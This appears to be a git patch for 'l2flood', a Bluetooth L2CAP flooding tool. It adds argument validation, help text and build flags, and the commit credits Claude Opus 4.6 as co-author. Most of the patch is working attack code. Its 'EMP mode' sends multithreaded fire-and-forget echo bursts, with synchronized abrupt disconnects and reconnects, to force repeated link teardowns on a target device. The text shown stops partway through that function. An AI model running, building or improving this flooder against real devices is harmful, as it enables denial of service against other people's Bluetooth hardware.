From 9cbf20968124e24c273487fb25c17b9f53bb677b Mon Sep 17 00:00:00 2001 From: suteny0r Date: Sun, 5 Jul 2026 16:27:35 -0400 Subject: [PATCH 1/5] Harden l2flood argument handling and fix i686 PIE crash - Replace getopt with manual arg parsing to avoid GNU getopt permutation issues - Add BD_ADDR format validation (rejects malformed addresses instead of segfaulting) - Add bounds checking on all numeric options (-s, -t, -d, -n) - Detect and report extra positional arguments with hint to use -i - Add complete usage text with option descriptions and examples - Add -h flag for help - Rename stat() to sigint_handler() to avoid POSIX name collision - Build with -no-pie to work around i686 PIE stack corruption bug in glibc Co-Authored-By: Claude Opus 4.6 --- l2flood-emp-mode/Makefile | 45 +- l2flood-emp-mode/l2flood.c | 1324 ++++++++++++++++++++---------------- 2 files changed, 766 insertions(+), 603 deletions(-) diff --git a/l2flood-emp-mode/Makefile b/l2flood-emp-mode/Makefile index 676d1a0..f5e458d 100644 --- a/l2flood-emp-mode/Makefile +++ b/l2flood-emp-mode/Makefile @@ -1,22 +1,23 @@ -CC ?= cc -INSTALL ?= install -PREFIX ?= /usr/local - -project = l2flood - -LDFLAGS = -lbluetooth - -parallel: - $(CC) $(project).c -fopenmp $(LDFLAGS) -o $(project) - -serial: - $(CC) $(project).c $(LDFLAGS) -o $(project) - -clean: - rm -f ./$(project) - -install: - mkdir -p "$(DESTDIR)$(PREFIX)/bin" - $(INSTALL) ./$(project) "$(DESTDIR)$(PREFIX)/bin/$(project)" - -.PHONY: parallel serial clean install +CC ?= cc +INSTALL ?= install +PREFIX ?= /usr/local + +project = l2flood + +LDFLAGS = -lbluetooth +CFLAGS ?= -no-pie -fno-pie + +parallel: + $(CC) $(CFLAGS) $(project).c -fopenmp $(LDFLAGS) -o $(project) + +serial: + $(CC) $(CFLAGS) $(project).c $(LDFLAGS) -o $(project) + +clean: + rm -f ./$(project) + +install: + mkdir -p "$(DESTDIR)$(PREFIX)/bin" + $(INSTALL) ./$(project) "$(DESTDIR)$(PREFIX)/bin/$(project)" + +.PHONY: parallel serial clean install diff --git a/l2flood-emp-mode/l2flood.c b/l2flood-emp-mode/l2flood.c index 6b526d1..a858ed3 100644 --- a/l2flood-emp-mode/l2flood.c +++ b/l2flood-emp-mode/l2flood.c @@ -1,581 +1,743 @@ -/* - * - * BlueZ - Bluetooth protocol stack for Linux - * - * Copyright (C) 2000-2001 Qualcomm Incorporated - * Copyright (C) 2002-2003 Maxim Krasnyansky - * Copyright (C) 2002-2010 Marcel Holtmann - * - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - * - */ - -#ifdef HAVE_CONFIG_H -#include -#endif - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#ifdef _OPENMP -#include -#endif - -#include -#include -#include -#include - -/* Defaults */ -static bdaddr_t bdaddr; -static int ident = 200; -#ifdef _OPENMP -static int size = 600; -static int delay = 0; -static int threads; -#else -static int size = 44; -static int delay = 1; -#endif -static int count = -1; -static int timeout = 10; -static int reverse = 0; -static int verify = 0; - -#ifdef _OPENMP -/* EMP mode flag */ -static int reconnect = 0; /* -R */ -#endif - -/* Stats */ -static int sent_pkt = 0; -static int recv_pkt = 0; - -static float tv2fl(struct timeval tv) -{ - return (float)(tv.tv_sec*1000.0) + (float)(tv.tv_usec/1000.0); -} - -static void stat(int sig) -{ - int loss = sent_pkt ? (float)((sent_pkt-recv_pkt)/(sent_pkt/100.0)) : 0; - printf("%d sent, %d received, %d%% loss\n", sent_pkt, recv_pkt, loss); - exit(0); -} - -/* ------------------------------------------------------------ - * Normal mode - * ----------------------------------------------------------- */ -static void ping_normal(char *svr) -{ - struct sigaction sa; - struct sockaddr_l2 addr; - socklen_t optlen; - unsigned char *send_buf; - unsigned char *recv_buf; - char str[18]; - int i, sk, lost; - uint8_t id; - - memset(&sa, 0, sizeof(sa)); - sa.sa_handler = stat; - sigaction(SIGINT, &sa, NULL); - - send_buf = malloc(L2CAP_CMD_HDR_SIZE + size); - recv_buf = malloc(L2CAP_CMD_HDR_SIZE + size); - if (!send_buf || !recv_buf) { - perror("Can't allocate buffer"); - exit(1); - } - - /* Create socket */ - sk = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP); - if (sk < 0) { - perror("Can't create socket"); - goto error; - } - - /* Bind to local address */ - memset(&addr, 0, sizeof(addr)); - addr.l2_family = AF_BLUETOOTH; - bacpy(&addr.l2_bdaddr, &bdaddr); - - if (bind(sk, (struct sockaddr *) &addr, sizeof(addr)) < 0) { - perror("Can't bind socket"); - goto error; - } - - /* Connect to remote device */ - memset(&addr, 0, sizeof(addr)); - addr.l2_family = AF_BLUETOOTH; - str2ba(svr, &addr.l2_bdaddr); - - if (connect(sk, (struct sockaddr *) &addr, sizeof(addr)) < 0) { - perror("Can't connect"); - goto error; - } - - /* Get local address */ - memset(&addr, 0, sizeof(addr)); - optlen = sizeof(addr); - - if (getsockname(sk, (struct sockaddr *) &addr, &optlen) < 0) { - perror("Can't get local address"); - goto error; - } - - ba2str(&addr.l2_bdaddr, str); - /* Only one thread prints the banner. */ -#ifdef _OPENMP - #pragma omp single nowait -#endif - printf("Ping: %s from %s (data size %d) ...\n", svr, str, size); - - /* Initialize send buffer */ - for (i = 0; i < size; i++) - send_buf[L2CAP_CMD_HDR_SIZE + i] = (i % 40) + 'A'; - - id = ident; - - while (count == -1 || count-- > 0) { - struct timeval tv_send, tv_recv, tv_diff; - l2cap_cmd_hdr *send_cmd = (l2cap_cmd_hdr *) send_buf; - l2cap_cmd_hdr *recv_cmd = (l2cap_cmd_hdr *) recv_buf; - - /* Build command header */ - send_cmd->ident = id; - send_cmd->len = htobs(size); - - if (reverse) - send_cmd->code = L2CAP_ECHO_RSP; - else - send_cmd->code = L2CAP_ECHO_REQ; - - gettimeofday(&tv_send, NULL); - - /* Send Echo Command */ - if (send(sk, send_buf, L2CAP_CMD_HDR_SIZE + size, 0) <= 0) { - perror("Send failed"); - goto error; - } - - /* Wait for Echo Response */ - lost = 0; - while (1) { - struct pollfd pf[1]; - int err; - - pf[0].fd = sk; - pf[0].events = POLLIN; - - if ((err = poll(pf, 1, timeout * 1000)) < 0) { - perror("Poll failed"); - goto error; - } - - if (!err) { - lost = 1; - break; - } - - if ((err = recv(sk, recv_buf, L2CAP_CMD_HDR_SIZE + size, 0)) < 0) { - perror("Recv failed"); - goto error; - } - - if (!err){ - printf("Disconnected\n"); - goto error; - } - - recv_cmd->len = btohs(recv_cmd->len); - - /* Check for our id */ - if (recv_cmd->ident != id) - continue; - - /* Check type */ - if (!reverse && recv_cmd->code == L2CAP_ECHO_RSP) - break; - - if (recv_cmd->code == L2CAP_COMMAND_REJ) { - printf("Peer doesn't support Echo packets\n"); - goto error; - } - - } - /* Both counters are shared across threads; atomic is required. */ -#ifdef _OPENMP - #pragma omp atomic -#endif - sent_pkt++; - - if (!lost) { -#ifdef _OPENMP - #pragma omp atomic -#endif - recv_pkt++; - - gettimeofday(&tv_recv, NULL); - timersub(&tv_recv, &tv_send, &tv_diff); - - if (verify) { - /* Check payload length */ - if (recv_cmd->len != size) { - fprintf(stderr, "Received %d bytes, expected %d\n", - recv_cmd->len, size); - goto error; - } - - /* Check payload */ - if (memcmp(&send_buf[L2CAP_CMD_HDR_SIZE], - &recv_buf[L2CAP_CMD_HDR_SIZE], size)) { - fprintf(stderr, "Response payload different.\n"); - goto error; - } - } - -#ifdef _OPENMP - printf("%d bytes from %s id %d time %.2fms thread %d\n", recv_cmd->len, svr, - id - ident, tv2fl(tv_diff), omp_get_thread_num()); -#else - printf("%d bytes from %s id %d time %.2fms\n", recv_cmd->len, svr, - id - ident, tv2fl(tv_diff)); -#endif - - } else { - printf("no response from %s: id %d\n", svr, id - ident); - } - - /* Always sleep regardless of whether the packet was lost, - * so the inter-ping interval is consistent. */ - if (delay) - sleep(delay); - - if (++id > 254) - id = ident; - } - stat(0); - free(send_buf); - free(recv_buf); - return; - -error: - close(sk); - free(send_buf); - free(recv_buf); - exit(1); -} - -#ifdef _OPENMP -/* ------------------------------------------------------------ - * EMP mode (reconnect == 1): fire-and-forget, synchronized burst-reconnect - * - * Architecture: - * All OpenMP threads share one ACL link to the target (BT allows only one - * ACL link per remote per local adapter). If threads reconnect independently - * and staggered, they just reopen L2CAP channels on the existing ACL link - * and the link never fully drops -- the target handles it fine. - * - * To force regular full ACL teardowns we use a burst-and-resync loop: - * 1. All threads connect (simultaneously after each resync) - * 2. Each thread sends EMP_BURST_PKTS packets then closes intentionally - * 3. EMP_RESYNC_US sleep after close lets all threads reach closed state - * at roughly the same time - * 4. All threads reconnect together -- same synchronized pressure as - * startup, every cycle - * - * This guarantees periodic full ACL teardown+setup instead of staggered - * L2CAP channel shuffling that the target can absorb without disconnecting. - * ----------------------------------------------------------- */ - -/* Packets per connection before forced close. Tuned for a balance between - * flood duration per connection and ACL cycling frequency. */ -#define EMP_BURST_PKTS 50 - -/* Microseconds all threads sleep after closing, so they reach the connect - * phase together and hit the target simultaneously on every cycle. */ -#define EMP_RESYNC_US 5000 - -static void ping_emp(char *svr) -{ - struct sigaction sa; - unsigned char *send_buf; - int sk = -1; - int i, printed = 0; - int reuse = 1; - struct linger ling = {1, 0}; - struct sockaddr_l2 addr; - - memset(&sa, 0, sizeof(sa)); - sa.sa_handler = stat; - sigaction(SIGINT, &sa, NULL); - - send_buf = malloc(L2CAP_CMD_HDR_SIZE + size); - if (!send_buf) exit(1); - - for (i = 0; i < size; i++) - send_buf[L2CAP_CMD_HDR_SIZE + i] = (i % 40) + 'A'; - - /* Spread packet IDs across threads so they don't all send id=200. - * ident=200, range is 200-254 (55 values). Thread N starts at - * ident + (N % 55) giving each thread a unique starting id. */ - uint8_t id = (uint8_t)(ident + (omp_get_thread_num() % 55)); - - while (count == -1 || count-- > 0) { - l2cap_cmd_hdr *send_cmd = (l2cap_cmd_hdr *) send_buf; - - /* -------------------------------------------------- - * PHASE 1: CONNECT - * All threads enter this together after each resync. - * -------------------------------------------------- */ - while (sk < 0) { - /* No sleep before first attempt -- startup and post-disconnect - * reconnects are instant. usleep(2000) is added only on each - * failure path below, so the CPU is still protected when the - * target is offline (failed attempts are the hot path). */ - sk = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP); - if (sk < 0) { usleep(2000); continue; } - - /* O_NONBLOCK: connect() returns EINPROGRESS immediately - * so we never block for the full kernel BT page timeout. */ - { - int fl = fcntl(sk, F_GETFL, 0); - if (fl >= 0) - fcntl(sk, F_SETFL, fl | O_NONBLOCK); - } - - setsockopt(sk, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse)); - /* SO_LINGER {1,0}: close() sends RST immediately instead of - * a graceful detach -- abrupt teardown on every cycle. */ - setsockopt(sk, SOL_SOCKET, SO_LINGER, &ling, sizeof(ling)); - - memset(&addr, 0, sizeof(addr)); - addr.l2_family = AF_BLUETOOTH; - bacpy(&addr.l2_bdaddr, &bdaddr); - if (bind(sk, (struct sockaddr *)&addr, sizeof(addr)) < 0) { - close(sk); sk = -1; usleep(2000); continue; - } - - memset(&addr, 0, sizeof(addr)); - addr.l2_family = AF_BLUETOOTH; - str2ba(svr, &addr.l2_bdaddr); - - if (connect(sk, (struct sockaddr *)&addr, sizeof(addr)) < 0) { - if (errno == EINPROGRESS) { - /* Poll up to 1.5s for connection completion. - * BT paging + ACL setup can take 1-3s on a - * freshly recovered device. 1.5s catches it - * reliably without stalling the cycle too long. */ - struct pollfd cpf = {sk, POLLOUT, 0}; - if (poll(&cpf, 1, 1500) > 0) { - int err = 0; - socklen_t elen = sizeof(err); - getsockopt(sk, SOL_SOCKET, SO_ERROR, &err, &elen); - if (err != 0) { close(sk); sk = -1; usleep(2000); continue; } - } else { - close(sk); sk = -1; usleep(2000); continue; - } - } else { - close(sk); sk = -1; usleep(2000); continue; - } - } - - /* Connected. Switch back to blocking sends so the kernel - * buffer stays full and send pressure is continuous. - * SO_SNDTIMEO caps each send at 300ms so a dead link is - * detected fast without the thread hanging. */ - { - int fl = fcntl(sk, F_GETFL, 0); - if (fl >= 0) - fcntl(sk, F_SETFL, fl & ~O_NONBLOCK); - } - { - struct timeval snd_tv = {0, 300000}; /* 300ms */ - setsockopt(sk, SOL_SOCKET, SO_SNDTIMEO, &snd_tv, sizeof(snd_tv)); - } - - if (!printed) { - char str[18]; - socklen_t optlen = sizeof(addr); - memset(&addr, 0, sizeof(addr)); - if (getsockname(sk, (struct sockaddr *)&addr, &optlen) == 0) { - ba2str(&addr.l2_bdaddr, str); - printf("Ping: %s from %s (data size %d) ...\n", - svr, str, size); - } - printed = 1; - } - } - - /* -------------------------------------------------- - * PHASE 2: BURST - * Send EMP_BURST_PKTS frames then close intentionally. - * Short fixed burst keeps ACL cycling frequent. - * -------------------------------------------------- */ - for (i = 0; i < EMP_BURST_PKTS; i++) { - send_cmd->ident = id; - send_cmd->len = htobs(size); - send_cmd->code = reverse ? L2CAP_ECHO_RSP : L2CAP_ECHO_REQ; - - if (send(sk, send_buf, L2CAP_CMD_HDR_SIZE + size, 0) <= 0) - break; /* link died mid-burst, fall through to close */ - - #pragma omp atomic - sent_pkt++; - - if (++id > 254) id = ident; - } - - /* -------------------------------------------------- - * PHASE 3: FORCED CLOSE + RESYNC - * Always close after each burst regardless of whether - * send failed. The resync sleep gives all threads time - * to also close so the next connect round is synchronized - * -- recreating the full-ACL-teardown pressure every cycle. - * -------------------------------------------------- */ - close(sk); - sk = -1; - usleep(EMP_RESYNC_US); - } - - free(send_buf); - stat(0); -} -#endif /* _OPENMP */ - -/* Wrapper */ -static void ping(char *svr) -{ -#ifdef _OPENMP - if (reconnect) - ping_emp(svr); - else -#endif - ping_normal(svr); -} - -static void usage(void) -{ -#ifdef _OPENMP - printf("l2flood - L2CAP flood\n"); -#else - printf("l2ping - L2CAP ping\n"); -#endif - printf("Usage:\n"); -#ifdef _OPENMP - printf("\tl2flood [-i device] [-s size] [-c count] [-t timeout] [-d delay] [-n threads] [-R] [-f] [-r] [-v] \n"); - printf("\t-f Flood ping (delay = 0); default\n"); -#else - printf("\tl2ping [-i device] [-s size] [-c count] [-t timeout] [-d delay] [-f] [-r] [-v] \n"); - printf("\t-f Flood ping (delay = 0)\n"); -#endif - printf("\t-r Reverse ping\n"); - printf("\t-v Verify request and response payload\n"); -#ifdef _OPENMP - printf("\t-R EMP MODE: fire-and-forget, no response waiting, instant reconnect, never exits\n"); -#endif -} - -int main(int argc, char *argv[]) -{ - int opt; - - /* Default options */ - bacpy(&bdaddr, BDADDR_ANY); -#ifdef _OPENMP - threads = sysconf(_SC_NPROCESSORS_ONLN); - while ((opt=getopt(argc,argv,"i:d:s:c:t:n:Rfrv")) != EOF) { -#else - while ((opt=getopt(argc,argv,"i:d:s:c:t:frv")) != EOF) { -#endif - switch(opt) { - case 'i': - if (!strncasecmp(optarg, "hci", 3)) - hci_devba(atoi(optarg + 3), &bdaddr); - else - str2ba(optarg, &bdaddr); - break; - - case 'd': - delay = atoi(optarg); - break; - - case 'f': - /* Kinda flood ping */ - delay = 0; - break; - - case 'r': - /* Use responses instead of requests */ - reverse = 1; - break; - - case 'v': - verify = 1; - break; - - case 'c': - count = atoi(optarg); - break; - - case 't': - timeout = atoi(optarg); - break; - - case 's': - size = atoi(optarg); - break; - -#ifdef _OPENMP - case 'R': - reconnect = 1; - break; - - case 'n': - threads = atoi(optarg); - break; -#endif - - default: - usage(); - exit(1); - } - } - - if (!(argc - optind)) { - usage(); - exit(1); - } - -#ifdef _OPENMP - #pragma omp parallel num_threads(threads) -#endif - { - ping(argv[optind]); - } - - return 0; -} +/* + * + * BlueZ - Bluetooth protocol stack for Linux + * + * Copyright (C) 2000-2001 Qualcomm Incorporated + * Copyright (C) 2002-2003 Maxim Krasnyansky + * Copyright (C) 2002-2010 Marcel Holtmann + * + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + * + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef _OPENMP +#include +#endif + +#include +#include +#include +#include + +/* Defaults */ +static bdaddr_t bdaddr; +static int ident = 200; +#ifdef _OPENMP +static int size = 600; +static int delay = 0; +static int threads; +#else +static int size = 44; +static int delay = 1; +#endif +static int count = -1; +static int timeout = 10; +static int reverse = 0; +static int verify = 0; + +#ifdef _OPENMP +/* EMP mode flag */ +static int reconnect = 0; /* -R */ +#endif + +/* Stats */ +static int sent_pkt = 0; +static int recv_pkt = 0; + +static float tv2fl(struct timeval tv) +{ + return (float)(tv.tv_sec*1000.0) + (float)(tv.tv_usec/1000.0); +} + +static void sigint_handler(int sig) +{ + int loss = sent_pkt ? (float)((sent_pkt-recv_pkt)/(sent_pkt/100.0)) : 0; + printf("%d sent, %d received, %d%% loss\n", sent_pkt, recv_pkt, loss); + exit(0); +} + +/* + * Validate a BD_ADDR string: must be exactly XX:XX:XX:XX:XX:XX + * where X is a hex digit. Returns 1 if valid, 0 if not. + */ +static int valid_bdaddr(const char *s) +{ + int i; + + if (!s || strlen(s) != 17) + return 0; + + for (i = 0; i < 17; i++) { + if ((i + 1) % 3 == 0) { + if (s[i] != ':') + return 0; + } else { + if (!isxdigit((unsigned char)s[i])) + return 0; + } + } + return 1; +} + +/* + * Parse a positive integer from a string. Returns -1 on failure + * (empty string, non-numeric characters, overflow). + */ +static long parse_positive_int(const char *s, const char *name) +{ + char *end; + long val; + + if (!s || !*s) { + fprintf(stderr, "Error: -%s requires a numeric argument\n", name); + return -1; + } + + val = strtol(s, &end, 10); + if (*end != '\0') { + fprintf(stderr, "Error: -%s value '%s' is not a valid number\n", name, s); + return -1; + } + if (val < 0) { + fprintf(stderr, "Error: -%s value must not be negative\n", name); + return -1; + } + + return val; +} + +static void usage(void) +{ +#ifdef _OPENMP + printf("l2flood - L2CAP flood (OpenMP parallel build)\n\n"); + printf("Usage:\n"); + printf(" l2flood [options] \n\n"); +#else + printf("l2flood - L2CAP flood (serial build)\n\n"); + printf("Usage:\n"); + printf(" l2flood [options] \n\n"); +#endif + printf("Arguments:\n"); + printf(" Target Bluetooth address (XX:XX:XX:XX:XX:XX)\n\n"); + printf("Options:\n"); + printf(" -i HCI adapter: 'hci0', 'hci1', etc. (default: any)\n"); + printf(" -s L2CAP echo payload size (default: %d)\n", +#ifdef _OPENMP + 600 +#else + 44 +#endif + ); + printf(" -c Number of packets to send, -1 for infinite (default: -1)\n"); + printf(" -t Response timeout per packet (default: 10)\n"); + printf(" -d Delay between packets (default: %d)\n", +#ifdef _OPENMP + 0 +#else + 1 +#endif + ); + printf(" -f Flood mode: set delay to 0\n"); + printf(" -r Reverse: send echo responses instead of requests\n"); + printf(" -v Verify response payload matches request\n"); +#ifdef _OPENMP + printf(" -n Number of parallel threads (default: number of CPUs)\n"); + printf(" -R EMP mode: fire-and-forget burst-reconnect cycling\n"); +#endif + printf("\nExamples:\n"); + printf(" l2flood -i hci1 AA:BB:CC:DD:EE:FF\n"); + printf(" l2flood -i hci0 -s 600 -c 1000 AA:BB:CC:DD:EE:FF\n"); +#ifdef _OPENMP + printf(" l2flood -i hci1 -R AA:BB:CC:DD:EE:FF\n"); +#endif +} + +/* ------------------------------------------------------------ + * Normal mode + * ----------------------------------------------------------- */ +static void ping_normal(char *svr) +{ + struct sigaction sa; + struct sockaddr_l2 addr; + socklen_t optlen; + unsigned char *send_buf; + unsigned char *recv_buf; + char str[18]; + int i, sk, lost; + uint8_t id; + + memset(&sa, 0, sizeof(sa)); + sa.sa_handler = sigint_handler; + sigaction(SIGINT, &sa, NULL); + + send_buf = malloc(L2CAP_CMD_HDR_SIZE + size); + recv_buf = malloc(L2CAP_CMD_HDR_SIZE + size); + if (!send_buf || !recv_buf) { + perror("Can't allocate buffer"); + exit(1); + } + + /* Create socket */ + sk = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP); + if (sk < 0) { + perror("Can't create socket"); + goto error; + } + + /* Bind to local address */ + memset(&addr, 0, sizeof(addr)); + addr.l2_family = AF_BLUETOOTH; + bacpy(&addr.l2_bdaddr, &bdaddr); + + if (bind(sk, (struct sockaddr *) &addr, sizeof(addr)) < 0) { + perror("Can't bind socket"); + goto error; + } + + /* Connect to remote device */ + memset(&addr, 0, sizeof(addr)); + addr.l2_family = AF_BLUETOOTH; + str2ba(svr, &addr.l2_bdaddr); + + if (connect(sk, (struct sockaddr *) &addr, sizeof(addr)) < 0) { + perror("Can't connect"); + goto error; + } + + /* Get local address */ + memset(&addr, 0, sizeof(addr)); + optlen = sizeof(addr); + + if (getsockname(sk, (struct sockaddr *) &addr, &optlen) < 0) { + perror("Can't get local address"); + goto error; + } + + ba2str(&addr.l2_bdaddr, str); + /* Only one thread prints the banner. */ +#ifdef _OPENMP + #pragma omp single nowait +#endif + printf("Ping: %s from %s (data size %d) ...\n", svr, str, size); + + /* Initialize send buffer */ + for (i = 0; i < size; i++) + send_buf[L2CAP_CMD_HDR_SIZE + i] = (i % 40) + 'A'; + + id = ident; + + while (count == -1 || count-- > 0) { + struct timeval tv_send, tv_recv, tv_diff; + l2cap_cmd_hdr *send_cmd = (l2cap_cmd_hdr *) send_buf; + l2cap_cmd_hdr *recv_cmd = (l2cap_cmd_hdr *) recv_buf; + + /* Build command header */ + send_cmd->ident = id; + send_cmd->len = htobs(size); + + if (reverse) + send_cmd->code = L2CAP_ECHO_RSP; + else + send_cmd->code = L2CAP_ECHO_REQ; + + gettimeofday(&tv_send, NULL); + + /* Send Echo Command */ + if (send(sk, send_buf, L2CAP_CMD_HDR_SIZE + size, 0) <= 0) { + perror("Send failed"); + goto error; + } + + /* Wait for Echo Response */ + lost = 0; + while (1) { + struct pollfd pf[1]; + int err; + + pf[0].fd = sk; + pf[0].events = POLLIN; + + if ((err = poll(pf, 1, timeout * 1000)) < 0) { + perror("Poll failed"); + goto error; + } + + if (!err) { + lost = 1; + break; + } + + if ((err = recv(sk, recv_buf, L2CAP_CMD_HDR_SIZE + size, 0)) < 0) { + perror("Recv failed"); + goto error; + } + + if (!err){ + printf("Disconnected\n"); + goto error; + } + + recv_cmd->len = btohs(recv_cmd->len); + + /* Check for our id */ + if (recv_cmd->ident != id) + continue; + + /* Check type */ + if (!reverse && recv_cmd->code == L2CAP_ECHO_RSP) + break; + + if (recv_cmd->code == L2CAP_COMMAND_REJ) { + printf("Peer doesn't support Echo packets\n"); + goto error; + } + + } + /* Both counters are shared across threads; atomic is required. */ +#ifdef _OPENMP + #pragma omp atomic +#endif + sent_pkt++; + + if (!lost) { +#ifdef _OPENMP + #pragma omp atomic +#endif + recv_pkt++; + + gettimeofday(&tv_recv, NULL); + timersub(&tv_recv, &tv_send, &tv_diff); + + if (verify) { + /* Check payload length */ + if (recv_cmd->len != size) { + fprintf(stderr, "Received %d bytes, expected %d\n", + recv_cmd->len, size); + goto error; + } + + /* Check payload */ + if (memcmp(&send_buf[L2CAP_CMD_HDR_SIZE], + &recv_buf[L2CAP_CMD_HDR_SIZE], size)) { + fprintf(stderr, "Response payload different.\n"); + goto error; + } + } + +#ifdef _OPENMP + printf("%d bytes from %s id %d time %.2fms thread %d\n", recv_cmd->len, svr, + id - ident, tv2fl(tv_diff), omp_get_thread_num()); +#else + printf("%d bytes from %s id %d time %.2fms\n", recv_cmd->len, svr, + id - ident, tv2fl(tv_diff)); +#endif + + } else { + printf("no response from %s: id %d\n", svr, id - ident); + } + + /* Always sleep regardless of whether the packet was lost, + * so the inter-ping interval is consistent. */ + if (delay) + sleep(delay); + + if (++id > 254) + id = ident; + } + sigint_handler(0); + free(send_buf); + free(recv_buf); + return; + +error: + close(sk); + free(send_buf); + free(recv_buf); + exit(1); +} + +#ifdef _OPENMP +/* ------------------------------------------------------------ + * EMP mode (reconnect == 1): fire-and-forget, synchronized burst-reconnect + * + * Architecture: + * All OpenMP threads share one ACL link to the target (BT allows only one + * ACL link per remote per local adapter). If threads reconnect independently + * and staggered, they just reopen L2CAP channels on the existing ACL link + * and the link never fully drops -- the target handles it fine. + * + * To force regular full ACL teardowns we use a burst-and-resync loop: + * 1. All threads connect (simultaneously after each resync) + * 2. Each thread sends EMP_BURST_PKTS packets then closes intentionally + * 3. EMP_RESYNC_US sleep after close lets all threads reach closed state + * at roughly the same time + * 4. All threads reconnect together -- same synchronized pressure as + * startup, every cycle + * + * This guarantees periodic full ACL teardown+setup instead of staggered + * L2CAP channel shuffling that the target can absorb without disconnecting. + * ----------------------------------------------------------- */ + +/* Packets per connection before forced close. Tuned for a balance between + * flood duration per connection and ACL cycling frequency. */ +#define EMP_BURST_PKTS 50 + +/* Microseconds all threads sleep after closing, so they reach the connect + * phase together and hit the target simultaneously on every cycle. */ +#define EMP_RESYNC_US 5000 + +static void ping_emp(char *svr) +{ + struct sigaction sa; + unsigned char *send_buf; + int sk = -1; + int i, printed = 0; + int reuse = 1; + struct linger ling = {1, 0}; + struct sockaddr_l2 addr; + + memset(&sa, 0, sizeof(sa)); + sa.sa_handler = sigint_handler; + sigaction(SIGINT, &sa, NULL); + + send_buf = malloc(L2CAP_CMD_HDR_SIZE + size); + if (!send_buf) exit(1); + + for (i = 0; i < size; i++) + send_buf[L2CAP_CMD_HDR_SIZE + i] = (i % 40) + 'A'; + + /* Spread packet IDs across threads so they don't all send id=200. + * ident=200, range is 200-254 (55 values). Thread N starts at + * ident + (N % 55) giving each thread a unique starting id. */ + uint8_t id = (uint8_t)(ident + (omp_get_thread_num() % 55)); + + while (count == -1 || count-- > 0) { + l2cap_cmd_hdr *send_cmd = (l2cap_cmd_hdr *) send_buf; + + /* -------------------------------------------------- + * PHASE 1: CONNECT + * All threads enter this together after each resync. + * -------------------------------------------------- */ + while (sk < 0) { + /* No sleep before first attempt -- startup and post-disconnect + * reconnects are instant. usleep(2000) is added only on each + * failure path below, so the CPU is still protected when the + * target is offline (failed attempts are the hot path). */ + sk = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP); + if (sk < 0) { usleep(2000); continue; } + + /* O_NONBLOCK: connect() returns EINPROGRESS immediately + * so we never block for the full kernel BT page timeout. */ + { + int fl = fcntl(sk, F_GETFL, 0); + if (fl >= 0) + fcntl(sk, F_SETFL, fl | O_NONBLOCK); + } + + setsockopt(sk, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse)); + /* SO_LINGER {1,0}: close() sends RST immediately instead of + * a graceful detach -- abrupt teardown on every cycle. */ + setsockopt(sk, SOL_SOCKET, SO_LINGER, &ling, sizeof(ling)); + + memset(&addr, 0, sizeof(addr)); + addr.l2_family = AF_BLUETOOTH; + bacpy(&addr.l2_bdaddr, &bdaddr); + if (bind(sk, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + close(sk); sk = -1; usleep(2000); continue; + } + + memset(&addr, 0, sizeof(addr)); + addr.l2_family = AF_BLUETOOTH; + str2ba(svr, &addr.l2_bdaddr); + + if (connect(sk, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + if (errno == EINPROGRESS) { + /* Poll up to 1.5s for connection completion. + * BT paging + ACL setup can take 1-3s on a + * freshly recovered device. 1.5s catches it + * reliably without stalling the cycle too long. */ + struct pollfd cpf = {sk, POLLOUT, 0}; + if (poll(&cpf, 1, 1500) > 0) { + int err = 0; + socklen_t elen = sizeof(err); + getsockopt(sk, SOL_SOCKET, SO_ERROR, &err, &elen); + if (err != 0) { close(sk); sk = -1; usleep(2000); continue; } + } else { + close(sk); sk = -1; usleep(2000); continue; + } + } else { + close(sk); sk = -1; usleep(2000); continue; + } + } + + /* Connected. Switch back to blocking sends so the kernel + * buffer stays full and send pressure is continuous. + * SO_SNDTIMEO caps each send at 300ms so a dead link is + * detected fast without the thread hanging. */ + { + int fl = fcntl(sk, F_GETFL, 0); + if (fl >= 0) + fcntl(sk, F_SETFL, fl & ~O_NONBLOCK); + } + { + struct timeval snd_tv = {0, 300000}; /* 300ms */ + setsockopt(sk, SOL_SOCKET, SO_SNDTIMEO, &snd_tv, sizeof(snd_tv)); + } + + if (!printed) { + char str[18]; + socklen_t optlen = sizeof(addr); + memset(&addr, 0, sizeof(addr)); + if (getsockname(sk, (struct sockaddr *)&addr, &optlen) == 0) { + ba2str(&addr.l2_bdaddr, str); + printf("Ping: %s from %s (data size %d) ...\n", + svr, str, size); + } + printed = 1; + } + } + + /* -------------------------------------------------- + * PHASE 2: BURST + * Send EMP_BURST_PKTS frames then close intentionally. + * Short fixed burst keeps ACL cycling frequent. + * -------------------------------------------------- */ + for (i = 0; i < EMP_BURST_PKTS; i++) { + send_cmd->ident = id; + send_cmd->len = htobs(size); + send_cmd->code = reverse ? L2CAP_ECHO_RSP : L2CAP_ECHO_REQ; + + if (send(sk, send_buf, L2CAP_CMD_HDR_SIZE + size, 0) <= 0) + break; /* link died mid-burst, fall through to close */ + + #pragma omp atomic + sent_pkt++; + + if (++id > 254) id = ident; + } 